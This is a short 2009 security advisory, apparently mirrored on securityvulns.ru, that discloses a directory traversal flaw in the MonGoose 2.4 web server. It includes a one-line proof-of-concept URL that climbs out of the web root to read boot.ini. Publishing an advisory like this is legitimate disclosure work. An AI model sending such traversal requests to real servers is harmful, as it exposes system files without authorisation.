Computer Security
[EN] securityvulns.ru
no-pyccku



Related information

  Mongoose web server directory traversal

From:ew1zz_(at)_hotmail.com <ew1zz_(at)_hotmail.com>
Date:14.04.2009
Subject:MonGoose 2.4 Directory Traversal Vulnerability

######### MonGoose 2.4 (win) webserver Directory Traversal  #########



######By:  e.wiZz!

######Site: www.balcansecurity.com



Found with ServMeNot (world's sexiest fuzzer :P)




In the wild...

#################################################################################
########

[Info]: Easy to use web server for Windows and UNIX. Mongoose provides simple and clean API
for embedding it into existing programs. Targeting Web application developers, embedded system developers,
and people who need to setup file sharing quickly.

[Site]: http://code.google.com/p/mongoose/


[Vulnerability]:  

http://[localhost]/../../../../../../boot.ini

About | Terms of use | Privacy Policy
© SecurityVulns, 3APA3A, Vladimir Dubrovin
Nizhny Novgorod

 
 



Rating@Mail.ru
test server